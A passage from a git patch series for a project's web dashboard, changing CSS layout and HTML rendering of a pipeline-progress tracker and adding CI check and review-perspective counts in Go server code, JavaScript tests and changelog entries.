--ham-visible-columns: 7; --ham-chevron-text-lines: 1; --ham-chevron-line-height: 1.3; } .ham-seg { position: relative; flex: 1 1 0; min-width: 0; display: flex; align-items: center; justify-content: center; padding: 0 var(--sp-4) 0 var(--sp-5); font-size: var(--fs-xs); font-weight: var(--fw-medium); white-space: nowrap; overflow: hidden; clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%, var(--ham-notch) 50%); } /* The concurrent CI / Review lanes are chevrons like every other stage (same clip-path, padding and height β€” the boxed card opt-out of @@ -1725,15 +1739,16 @@ .ham-gate-ico { display: inline-flex; align-items: center; margin-right: var(--sp-1); cursor: help; } .ham-gate-ico .ham-ico { width: 12px; height: 12px; } .ham-gate-detail { font-weight: normal; opacity: 0.85; font-variant-numeric: tabular-nums; } - /* All physical chevrons share a two-line text budget, but a row is only - as tall as its longest caption: one line of text β†’ a one-line chevron, - two lines β†’ two (the clamp below caps it there). The grid row sizes - to content with a one-line floor so icon-only cells and siblings - stretch to the row's tallest chevron, never to a fixed box. The - portal tooltip is outside the clipped polygon; keyboard focus - exposes the same full text. */ - .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)), auto); } - .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } + /* Every physical chevron is one caption line tall (--ham-chevron-text-lines: + 1, the clamp below ellipsises the rest): the strip rides directly under + the title line as a ~20px band, the density the tracker had before + hivecommons/hive#16454 doubled it with a two-line budget and sp-2 + vertical padding. The grid row sizes to content with that one-line + floor so icon-only cells and siblings share the row's height, never a + fixed box. The portal tooltip is outside the clipped polygon; keyboard + focus exposes the same full text. */ + .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-1) + 2 * var(--line-width)), auto); } + .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-1) calc(var(--ham-notch) + var(--sp-2)); } .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } @@ -2006,7 +2021,7 @@ .ham-row { position: relative; } .ham-row:focus-visible { outline: var(--focus-ring-width) solid var(--accent); outline-offset: calc(-1 * var(--focus-ring-width)); border-radius: var(--r-sm); } .ham-row.ham-selected { background: color-mix(in srgb, var(--accent) 10%, transparent); box-shadow: inset var(--sp-1) 0 0 var(--accent); border-radius: var(--r-sm); } - .ham-row-tools { position: absolute; left: calc(-1 * var(--ham-gutter)); top: var(--sp-5); width: var(--ham-gutter); display: flex; flex-direction: column; align-items: center; gap: var(--sp-1); } + .ham-row-tools { position: absolute; left: calc(-1 * var(--ham-gutter)); top: var(--sp-4); width: var(--ham-gutter); display: flex; flex-direction: column; align-items: center; gap: var(--sp-1); } /* A nested PR sub-row carries its own gutter (checkbox + β‹―), so each PR under an issue is selected and acted on by itself (two PRs under one issue, one decision each β€” the owner's 2026-10-28 report). The @@ -2114,7 +2129,6 @@ .ham-head-cols > .ham-strip { display: contents; } .ham-head-cols .ham-strip > .ham-seg { grid-column: 1 / -1; grid-row: auto; padding: 0; } .ham-head-cols .ham-head-lead:empty { display: none; } - .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; min-width: 0; justify-content: flex-end; } .ham-head-cols > .ham-since { display: none; } .ham-row .ham-seg { padding: 0 var(--sp-2) 0 var(--sp-3); } .ham-row .ham-seg.cap { flex-basis: 2em; } @@ -18594,15 +18608,21 @@ <h3 class="faq-group-title">Where to get help</h3> // Ghost strip for a title line: the lead cell (Open..Claimed) carries // the item's own number + title, the PR cell (PR in progress..Merge gate) - // the given refs. Modifier chips wrap on their own full-width, - // right-anchored line rather than overflowing the history cap into titles. + // the given refs followed by the modifier chips / action buttons, + // right-anchored on that same line (margin-left: auto). The chips ride + // the title line rather than a second full-width toolbar line, so the + // chevrons sit directly under the title (hivecommons/hive#16454 left a + // one-line band between them); when the PR metadata leaves no room the + // chips wrap under it, content-driven, never a fixed row. A row without + // PR refs still gets the PR cell (ham-head-tools) so its chips sit on + // the title line in the PR span, not on a line of their own. // The since column is an empty spacer here (same width as the strip // row's, which carries the time on step): a wrapped title must not float // the age away from the chevrons it describes. function stageTrackerHeadColsHtml(prRefs, leadHtml, chipsHtml, prTargetKey) { const wide = !(prRefs && prRefs.length); const prStart = STAGE_TRACKER_PATH.indexOf(STAGE_TRACKER_PR_COLUMN) + 1; - return `<div class="ham-strip-row ham-head-cols" data-ham-pr-start="${prStart}"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li>${wide ? '' : `<li class="ham-seg ham-head-pr"${prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${prRefs.join('')}</li>`}<li class="ham-seg cap"><span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; + return `<div class="ham-strip-row ham-head-cols" data-ham-pr-start="${prStart}"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li><li class="ham-seg ham-head-pr${wide ? ' ham-head-tools' : ''}"${!wide && prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${wide ? '' : prRefs.join('')}<span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; } function stageTrackerSinceHtml(item, nowMs) { diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index f3506a6c7f..23487c06f4 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -5,7 +5,7 @@ if (!dedicatedPreview) throw new Error('Use a dedicated published-preview tab, not the user’s live dashboard'); const tolerance = 1; const failures = []; - const coverage = { issueOnly: 0, linked: 0, prOnly: 0, nested: 0, multiIssue: 0, unknown: 0, queuedApproved: 0, wrapped: 0, singleLineRows: 0, wrappedRows: 0, controls: 0, controlTargets: 0, hitTested: 0, currentRows: 0, preparation: 0, superseded: 0, states: {} }; + const coverage = { issueOnly: 0, linked: 0, prOnly: 0, nested: 0, multiIssue: 0, unknown: 0, queuedApproved: 0, wrapped: 0, singleLineRows: 0, clampedRows: 0, controls: 0, controlTargets: 0, hitTested: 0, currentRows: 0, preparation: 0, superseded: 0, states: {} }; const near = (a, b) => Math.abs(a - b) <= tolerance; const visible = el => el && el.getClientRects().length && getComputedStyle(el).display !== 'none'; const rect = el => el.getBoundingClientRect(); @@ -67,7 +67,10 @@ const strip = row.querySelector(':scope > .ham-strip-row > ol[aria-label="Pipeline progress"]'); if (!visible(header) || !visible(strip)) continue; const lead = header.querySelector('.ham-head-lead'); - const pr = header.querySelector('.ham-head-pr'); + // A row without PR refs still has the PR cell (ham-head-tools) as the + // home of its chips; only a cell with refs counts as PR metadata here. + const prCell = header.querySelector('.ham-head-pr'); + const pr = prCell && !prCell.classList.contains('ham-head-tools') ? prCell : null; const badges = header.querySelector('.ham-badges'); const columns = [...strip.children]; // The renderer emits this boundary from its private canonical lane path. @@ -82,10 +85,9 @@ if ([...row.querySelectorAll(':scope > .ham-current-stage, :scope > .ham-human-context')] .some(context => /superseded/i.test(context.textContent))) coverage.superseded++; if (row.matches('.ham-row') && row.querySelectorAll(':scope > .ham-sub').length > 1) coverage.multiIssue++; - // Height is deliberately absent from the cross-row signature: a row is - // only as tall as its longest caption (one or two lines), so rows differ - // in height by design. Within-row uniformity and the content-driven - // height contract are asserted separately below. + // Height is deliberately absent from the cross-row signature; within-row + // uniformity and the one-line height contract are asserted separately + // below. const signature = columns.map(cell => ({ left: rect(cell).left - rect(strip).left, width: rect(cell).width })); const stripLeft = rect(strip.parentElement).left; // Recorded preparation roots retain the existing rail gutter. Compare @@ -112,10 +114,20 @@ if (pr) { assert(near(rect(pr).left, rect(columns[prStart]).left), name + 'PR starts at PR in progress'); assert(near(rect(pr).right, rect(columns[lastLane]).right), name + 'PR ends at Merge gate'); - if (visible(badges) && badges.children.length) { - assert(rect(badges).top >= rect(pr).bottom - tolerance, name + 'badges below PR metadata'); + } + if (visible(badges) && badges.children.length) { + // Chips ride the PR line (or wrap under its metadata), never a + // line of their own between the title block and the chevrons. + assert(rect(badges).top >= rect(prCell).top - tolerance && rect(badges).bottom <= rect(prCell).bottom + tolerance, name + 'badges inside the PR cell'); + const metadata = [...prCell.children].filter(child => child !== badges && visible(child)); + if (metadata.length) { + const metaTop = Math.min(...metadata.map(child => rect(child).top)); + assert(rect(badges).bottom > metaTop + tolerance, name + 'badges share the PR metadata line or wrap under it, never a line above'); + } else { + assert(near(rect(badges).top, rect(header).top), name + 'badges on the title line'); } } + assert(near(rect(strip.parentElement).top - rect(header).bottom, rowGap), name + 'chevrons sit directly under the title block (row gap only)'); } else if (pr && visible(lead)) { assert(rect(pr).top >= rect(lead).bottom - tolerance, name + 'narrow PR below issue'); } @@ -133,13 +145,22 @@ if (badges.children.length) { assert(visible(badges), name + 'nonempty action/history toolbar is not hidden'); coverage.controls++; + // The chips are the trailing, right-anchored flex item of the PR + // cell: they end where the PR span ends (Merge gate), sit beside + // the issue metadata rather than under it, and never overprint the + // PR metadata they follow (wrapping under it when space runs out). const toolbar = badges.parentElement; - const headerStrip = header.querySelector('.ham-strip'); - const expectedRight = matchMedia('(min-width: 1101px)').matches ? rect(headerStrip).right : rect(header).right; - assert(near(rect(toolbar).right, expectedRight), name + 'full-row toolbar reaches the far right'); - assert(near(rect(badges).right, expectedRight), name + 'controls are right-anchored, not in an issue-side column'); - assert(rect(toolbar).top >= rect(lead).bottom - tolerance, name + 'toolbar does not intersect issue metadata'); - if (pr) assert(rect(toolbar).top >= rect(pr).bottom - tolerance, name + 'toolbar does not intersect PR metadata'); + const desktop = matchMedia('(min-width: 1101px)').matches; + const expectedRight = desktop ? rect(toolbar).right : rect(header).right; + assert(near(rect(badges).right, expectedRight), name + 'controls are right-anchored at the end of the PR span, not in an issue-side column'); + if (desktop) assert(rect(badges).left >= rect(lead).right - tolerance, name + 'toolbar does not intersect issue metadata'); + else assert(rect(toolbar).top >= rect(lead).bottom - tolerance, name + 'narrow toolbar below issue metadata'); + for (const child of toolbar.children) { + if (child === badges || !visible(child)) continue; + const box = rect(child), chips = rect(badges); + const apart = box.right <= chips.left + tolerance || box.left >= chips.right - tolerance || box.bottom <= chips.top + tolerance || box.top >= chips.bottom - tolerance; + assert(apart, name + 'toolbar does not intersect PR metadata: ' + JSON.stringify({ child: child.className, box, chips })); + } for (const control of badges.querySelectorAll('button, a, [tabindex]')) { if (!control.closest('.config-tooltip')) await inspectControl(control, toolbar, name); } @@ -153,10 +174,10 @@ } const heights = columns.map(cell => rect(cell).height); assert(Math.max(...heights) - Math.min(...heights) <= tolerance, name + 'all physical chevrons have uniform height'); - // Content-driven height: the row is exactly as tall as its longest - // caption (one or two text lines plus the chevron's own padding and - // border), with a one-line floor for icon-only rows β€” never a fixed - // two-line box around one line of text. + // Compact height: captions are clamped to one line, so every row is + // exactly one text line plus the chevron's own padding and border + // (~20px) β€” the pre-hivecommons/hive#16454 density. Icon-only rows + // share the same one-line floor. const lineWidth = parseFloat(getComputedStyle(strip).getPropertyValue('--line-width')) || 0; const cellBudget = (cell, lines, border) => { const style = getComputedStyle(cell); @@ -172,10 +193,11 @@ expectedHeight = Math.max(expectedHeight, cellBudget(cell, lines)); } } - assert(near(Math.max(...heights), expectedHeight), name + 'chevron height is content-driven (' + (rowLines || 1) + ' text line(s) + padding), not a fixed two-line box: ' + - JSON.stringify({ measured: Math.max(...heights), expected: expectedHeight, lines: rowLines })); - if (rowLines === 1) coverage.singleLineRows++; - if (rowLines === 2) coverage.wrappedRows++; + assert(rowLines <= 1, name + 'captions are clamped to a single line: ' + JSON.stringify({ lines: rowLines })); + assert(near(Math.max(...heights), expectedHeight), name + 'chevron height is one text line + padding, not a two-line box: ' + + JSON.stringify({ measured: Math.max(...heights), expected: expectedHeight })); + coverage.singleLineRows++; + if (strip.querySelector('.ham-chevron-copy') && [...strip.querySelectorAll('.ham-chevron-copy')].some(c => visible(c) && c.scrollHeight > rect(c).height + tolerance)) coverage.clampedRows++; const ci = strip.querySelector('[data-track="ci"]'); const review = strip.querySelector('[data-track="review"]'); const current = columns.filter(cell => !cell.classList.contains('cap') && @@ -225,8 +247,8 @@ const lineHeight = parseFloat(style.lineHeight); const bounds = rect(copy); assert(style.whiteSpace === 'normal' && style.overflowWrap === 'anywhere', name + 'text wraps, including unbroken handles'); - assert(bounds.height <= lineHeight * 2 + tolerance, name + 'maximum two visible text lines'); - if (bounds.height > lineHeight + tolerance) coverage.wrapped++; + assert(bounds.height <= lineHeight + tolerance, name + 'maximum one visible text line'); + if (copy.scrollHeight > bounds.height + tolerance) coverage.wrapped++; assert(bounds.left >= rect(cell).left + parseFloat(getComputedStyle(cell).paddingLeft) - tolerance, name + 'text clears the left chevron notch'); assert(bounds.right <= rect(cell).right - parseFloat(getComputedStyle(cell).paddingRight) + tolerance, name + 'text clears the right chevron point'); // Centred as before the two-line budget: the glyphs sit centred in @@ -271,8 +293,8 @@ for (const state of ['queued', 'unknown', 'assigned', 'approved', 'waiting', 'failing', 'passing', 'running']) { assert(coverage.states[state] > 0, 'preview must exercise current-head activity state ' + state); } - assert(coverage.unknown > 0 && coverage.queuedApproved > 0 && coverage.wrapped > 0 && coverage.controls > 0, 'preview must include unknown, queued-CI/approved-review, long wrapped text and action/history controls'); - assert(coverage.singleLineRows > 0 && coverage.wrappedRows > 0, 'preview must include both a one-line-caption row (one-line-tall chevrons) and a two-line-caption row (two-line-tall chevrons)'); + assert(coverage.unknown > 0 && coverage.queuedApproved > 0 && coverage.wrapped > 0 && coverage.controls > 0, 'preview must include unknown, queued-CI/approved-review, long clamped text and action/history controls'); + assert(coverage.singleLineRows > 0 && coverage.clampedRows > 0, 'preview must include a row whose caption overflows its one-line clamp (long text stays a one-line chevron)'); assert(coverage.controlTargets > 0 && coverage.controlTargets === coverage.hitTested, 'every relevant header control must be hit-tested, never skipped as offscreen'); if (failures.length) throw new Error(JSON.stringify({ viewport: innerWidth, coverage, failures })); return { viewport: innerWidth, coverage, failures }; From 97546070d9812e70356bb0d2669e9d9dbc3a5fa5 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 20:17:06 -0500 Subject: [PATCH 25/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20CI/Review=20c?= =?UTF-8?q?hevrons=20show=20pass/total=20and=20perspectives=20done/total,?= =?UTF-8?q?=20lit=20while=20in=20progress=20(#16494)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dashboard): CI/Review chevrons carry pass/total and done/total counts, lit while in progress Operator steer on #16488: dull current-phase tint with glyph-only chevrons was unreadable. Every CI/Review chevron in progress or finished on the current head now reads a count caption (CI p/t, Review d/t) with the full active fill, done style when complete, error style on a finding, and the glyph alone only when not started. Server adds checks_passed/total/failed/ failing and perspectives_done/total to StageTrackerActivity. Signed-off-by: Andrew Anderson <andy@clubanderson.com> * test(dashboard): geometry probe expects count words on lit tracks; count captions wrap like peer chevrons The browser probe's 'unknown track is icon-only' assertion predates the count captions; a lit unknown track now reads 'CI ?/? Β· no checks reported yet' and only a not-started (.todo) track is the glyph alone. Drop the nowrap/ellipsis rule so the count caption honours the strip's two-line wrap budget instead of truncating mid-count on phones. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-16484-tracker-chevron-state-word.md | 1 - .../fixed-16493-tracker-chevron-counts.md | 1 + src/pkg/dashboard/stage_tracker_activity.go | 140 ++++++++++++++ .../dashboard/stage_tracker_activity.test.js | 178 +++++++++++------- .../dashboard/stage_tracker_activity_test.go | 99 ++++++++++ src/pkg/dashboard/stage_tracker_build.go | 3 + src/pkg/dashboard/static-src/css/tracker.css | 19 +- .../static-src/js/tracker-row-strip.js | 86 ++++++--- src/pkg/dashboard/static/index.html | 105 ++++++++--- .../testdata/tracker-header-geometry.js | 7 +- 10 files changed, 503 insertions(+), 136 deletions(-) delete mode 100644 changelog.d/fixed-16484-tracker-chevron-state-word.md create mode 100644 changelog.d/fixed-16493-tracker-chevron-counts.md diff --git a/changelog.d/fixed-16484-tracker-chevron-state-word.md b/changelog.d/fixed-16484-tracker-chevron-state-word.md deleted file mode 100644 index 815c0a5480..0000000000 --- a/changelog.d/fixed-16484-tracker-chevron-state-word.md +++ /dev/null @@ -1 +0,0 @@ -- The Activity Monitor's CI and Review chevrons always carry a state word beside their glyph β€” unknown or stale evidence now reads "CI waiting Β· test not observed Β· seen 14m ago" instead of a bare icon β€” and when both tracks share the current phase the text says which one the hive is waiting on ("Β· new head d3c0824", "Β· waiting on CI", "Β· waiting on the fix") ([#16484](https://github.com/hivecommons/hive/issues/16484)). diff --git a/changelog.d/fixed-16493-tracker-chevron-counts.md b/changelog.d/fixed-16493-tracker-chevron-counts.md new file mode 100644 index 0000000000..499e963bbd --- /dev/null +++ b/changelog.d/fixed-16493-tracker-chevron-counts.md @@ -0,0 +1 @@ +- The Activity Monitor's CI and Review chevrons now show counts instead of a bare glyph or a muted tint: `CI 12/14 passed`, `CI 11/14 Β· 1 failing (lint)`, `CI 0/14 Β· queued`, `Review 3/5 perspectives`, `Review 5/5 approved`, `Review 0/5 Β· re-review pending (new head)`. A track in progress on the current head wears the full active fill (both may be lit at once β€” the counts disambiguate, and the tooltip says which one the hive is waiting on), a finished track wears the done style, a red check or changes-requested verdict wears the error colour, and only a not-yet-started track is a glyph alone. The server now reports `checks_passed/total/failed/failing` and `perspectives_done/total` on every CI/Review activity ([#16493](https://github.com/hivecommons/hive/issues/16493)). diff --git a/src/pkg/dashboard/stage_tracker_activity.go b/src/pkg/dashboard/stage_tracker_activity.go index 42a840c41a..469aa9bce1 100644 --- a/src/pkg/dashboard/stage_tracker_activity.go +++ b/src/pkg/dashboard/stage_tracker_activity.go @@ -7,6 +7,7 @@ import ( "time" "github.com/hivecommons/hive/crux" + "github.com/hivecommons/hive/pkg/config" "github.com/hivecommons/hive/pkg/evidence" "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/review" @@ -30,6 +31,20 @@ type StageTrackerActivity struct { Blocker string `json:"blocker,omitempty"` URL string `json:"url,omitempty"` Active bool `json:"active,omitempty"` + // Check counts on the current head for the CI track (hivecommons/hive#16484): + // over the required checks when branch protection is known, otherwise + // over every check run observed on the head. ChecksTotal == 0 means no + // count could be made ("CI ?/?"). + ChecksPassed int `json:"checks_passed,omitempty"` + ChecksTotal int `json:"checks_total,omitempty"` + ChecksFailed int `json:"checks_failed,omitempty"` + ChecksFailing []string `json:"checks_failing,omitempty"` + // Perspective counts on the current head for the Review track: Total is + // the swarm's expected set for this PR (configured perspectives plus any + // extra one dispatched or reported for the head), Done the ones with a + // verdict for the current head. + PerspectivesDone int `json:"perspectives_done,omitempty"` + PerspectivesTotal int `json:"perspectives_total,omitempty"` } const trackerActivityFreshWindow = 2 * time.Minute @@ -53,6 +68,7 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA out.Source += "+github-commit-statuses" } if !a.RequiredKnown || a.RequiredSource == "" || len(a.RequiredChecks) == 0 || len(a.Required) == 0 { + stageTrackerCountHeadChecks(out, a) return out } type requiredObservation struct { @@ -87,10 +103,14 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA } } if !found { + stageTrackerCountHeadChecks(out, a) return out } } out.State, out.Caption = "passing", "CI green" + // Per required-check name: the leading state across its observations, + // for the passed / failed counts. + perName := map[string]string{} running := false // Per required-check name: which have a final result, for the running count. settled := map[string]bool{} @@ -132,6 +152,9 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA } // A red required check leads, then missing/unknown, then running/queued. rank := map[string]int{"passing": 0, "queued": 1, "running": 2, "skipped": 3, "unknown": 4, "missing": 5, "failing": 6} + if previous, seen := perName[name]; !seen || rank[state] >= rank[previous] { + perName[name] = state + } if rank[state] >= rank[out.State] { out.State, out.Since, out.URL = state, check.Since, check.URL out.ObservedAt = a.ObservedAt @@ -154,6 +177,16 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA } } total := len(a.Required) + out.ChecksTotal = total + for _, name := range a.Required { + switch perName[name] { + case "passing": + out.ChecksPassed++ + case "failing": + out.ChecksFailed++ + out.ChecksFailing = append(out.ChecksFailing, name) + } + } check := fmt.Sprintf("%q", out.Blocker) switch out.State { case "passing": @@ -190,6 +223,113 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA return out } +// stageTrackerCountHeadChecks fills the check counts from every check run +// observed on the head when the required set is not known: one entry per +// check name, red if any run of that name is red, green only if its latest +// run succeeded. +func stageTrackerCountHeadChecks(out *StageTrackerActivity, a *github.PRCIActivity) { + type tally struct { + passing, failing bool + since time.Time + } + byName := map[string]*tally{} + var order []string + for _, check := range a.Checks { + if check.Head != "" && !strings.EqualFold(check.Head, a.Head) { + continue + } + t := byName[check.Name] + if t == nil { + t = &tally{} + byName[check.Name] = t + order = append(order, check.Name) + } + at := time.Time{} + if check.Since != nil { + at = *check.Since + } + red := check.State == "completed" && (check.Conclusion == "failure" || check.Conclusion == "timed_out" || check.Conclusion == "cancelled" || check.Conclusion == "action_required" || check.Conclusion == "startup_failure" || check.Conclusion == "stale") + if red { + t.failing = true + } + if !at.Before(t.since) { + t.since, t.passing = at, check.State == "completed" && check.Conclusion == "success" + } + } + out.ChecksTotal = len(order) + for _, name := range order { + t := byName[name] + switch { + case t.failing: + out.ChecksFailed++ + out.ChecksFailing = append(out.ChecksFailing, name) + case t.passing: + out.ChecksPassed++ + } + } +} + +// stageTrackerExpectedPerspectives is the swarm's perspective set for this +// hive: the configured list (built-ins when empty), falling back to the +// built-ins when the configuration cannot be resolved. +func stageTrackerExpectedPerspectives(cfg *config.Config) []review.Perspective { + var names []string + var prompts map[string]string + if cfg != nil { + names, prompts = cfg.Review.Perspectives, cfg.Review.PerspectivePrompts + } + if set, err := review.NewPerspectiveSet(names, prompts); err == nil && set.Len() > 0 { + return set.List() + } + return append([]review.Perspective(nil), review.DefaultPerspectives...) +} + +// stageTrackerCountPerspectives fills the Review track's done / total +// perspective counts for the PR's current head: total is the expected set +// plus any extra perspective dispatched or reported for the head; done the +// perspectives with a verdict for the head (the aggregate's, or the latest +// verified bundle verdict). +func stageTrackerCountPerspectives(out *StageTrackerActivity, pr github.PullRequest, bundle *evidence.Bundle, agg *review.Aggregate, dispatch review.DispatchState, qualify func(string) string, expected []review.Perspective) { + if out == nil || pr.HeadSHA == "" { + return + } + total := map[review.Perspective]bool{} + done := map[review.Perspective]bool{} + for _, p := range expected { + total[p] = true + } + if agg != nil && trackerHeadMatches(pr.Repo, pr.Number, pr.HeadSHA, agg.Repo, agg.Number, agg.HeadSHA) { + for p, v := range agg.Perspectives { + total[p] = true + if v != "" { + done[p] = true + } + } + } + if bundle != nil && trackerHeadMatches(pr.Repo, pr.Number, pr.HeadSHA, bundle.Repo, bundle.Number, bundle.HeadSHA) { + for _, verdict := range trackerLatestBundleVerdicts(bundle) { + if verdict.Perspective == "" { + continue + } + total[review.Perspective(verdict.Perspective)] = true + if verdict.Verdict != "" { + done[review.Perspective(verdict.Perspective)] = true + } + } + } + for _, pending := range dispatch.Pending { + if pending.Perspective != "" && !pending.Decision && trackerHeadMatches(pr.Repo, pr.Number, pr.HeadSHA, qualify(pending.Repo), pending.Number, pending.HeadSHA) { + total[pending.Perspective] = true + } + } + out.PerspectivesTotal, out.PerspectivesDone = len(total), 0 + for p := range done { + if total[p] { + out.PerspectivesDone++ + } + } +} + func trackerHeadMatches(repo string, number int, head, observedRepo string, observedNumber int, observedHead string) bool { return number == observedNumber && head != "" && strings.EqualFold(head, observedHead) && strings.EqualFold(repo, observedRepo) } diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index cabb5bf9b7..c58b6bbbd9 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -22,7 +22,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const header = new Function('esc', 'stageTrackerIcon', globals + fn(strip, 'stageTrackerHeaderHtml') + ';return stageTrackerHeaderHtml;')(esc, () => ''); const now = Date.parse('2026-11-02T21:00:00Z'); @@ -169,7 +169,7 @@ test('12:01 screenshot density preserves physical tracks for issue-only, one-to- assert.ok(cells.slice(3).every(cell => /class="ham-seg blank/.test(cell)), 'multi-PR issue owns no PR-side activity'); } if (item.number === 344) { - assert.match(cells[4], /todo ham-current/); + assert.match(cells[4], /active ham-current[^]*CI \?\/\? Β· queued</); assert.match(cells[5], /done ham-current/); } if (item.code_activity?.state === 'waiting_owner') { @@ -179,7 +179,9 @@ test('12:01 screenshot density preserves physical tracks for issue-only, one-to- for (const cell of cells.filter(cell => /data-display-state="unknown"/.test(cell))) { const content = cell.match(/aria-describedby="[^"]+">([^]*?)<span id=/)[1]; assert.match(content, /<svg /, 'missing evidence keeps the track glyph'); - assert.match(content.replace(/<[^>]*>/g, '').trim(), /unknown/, 'missing evidence still says so in words (#16484)'); + const words = content.replace(/<[^>]*>/g, '').trim(); + if (/ham-current/.test(cell)) assert.match(words, /^(CI|Review)\b/, 'a track in the current phase always carries count words (#16484)'); + else assert.equal(words, '', 'a track not started on this head is the glyph alone'); } } } @@ -452,12 +454,14 @@ test('Hotshot #344 shape: queued CI and approved review retain current phase wit const item = livePR({ stage: 60, ci_activity: activity('queued', 'CI queued Β· "build" waiting for a runner'), review_activity: activity('approved', 'Review approved') }); const before = JSON.stringify(item); const cells = physicalTracks(item); - assert.match(cells.ci, /ham-activity-track todo ham-current/); + assert.match(cells.ci, /ham-activity-track active ham-current/, 'queued CI is in progress: the full active fill, no pulse'); + assert.match(cells.ci, /ham-track-state"><svg [^>]*><\/svg>CI \?\/\? Β· queued</); assert.match(cells.review, /ham-activity-track done ham-current/); + assert.match(cells.review, /Review approved</); for (const cell of [cells.ci, cells.review]) { assert.match(cell, /aria-current="step"/); assert.match(cell, /aria-label="Current pipeline phase/); - assert.doesNotMatch(cell, /data-motion=|ham-activity-track active/); + assert.doesNotMatch(cell, /data-motion=/); } assert.equal(JSON.stringify(item), before, 'rendering does not advance native stage or mutate evidence'); }); @@ -470,11 +474,13 @@ test('Hive #16434 shape: missing current-head CI and review stay unknown but vis review_activity: { head: 'head', state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' }, })); for (const cell of [cells.ci, cells.review]) { - assert.match(cell, /todo ham-current/); + assert.match(cell, /ham-activity-track active ham-current/, 'absent evidence in the current phase is still in progress: lit, with words'); assert.match(cell, /data-activity-state="unknown"/); assert.match(cell, /data-display-state="unknown"/); - assert.doesNotMatch(cell, /data-motion=|ham-activity-track done|ham-activity-track active/); + assert.doesNotMatch(cell, /data-motion=|ham-activity-track done/); } + assert.match(cells.ci, /CI \?\/\? Β· no checks reported yet</); + assert.match(cells.review, /Review Β· re-review pending \(new head\)</); assert.doesNotMatch(cells.cells[3], /aria-current|data-motion/); }); @@ -486,8 +492,10 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p review_activity: activity('approved', 'Review approved'), }); const cells = physicalTracks(item); - assert.match(cells.ci, /todo ham-current/); + assert.match(cells.ci, /active ham-current/); + assert.match(cells.ci, /CI \?\/\? Β· no checks reported yet</); assert.match(cells.review, /done ham-current/); + assert.match(cells.review, /Review approved</); assert.match(cells.review, /Waiting for fixer Β· no code work observed/); assert.match(cells.review, /Held by @hanthor Β· Maintainer hold/); assert.doesNotMatch(cells.rendered, /data-motion=|>(?:Fixing|Remediating) Β·/); @@ -497,15 +505,15 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p 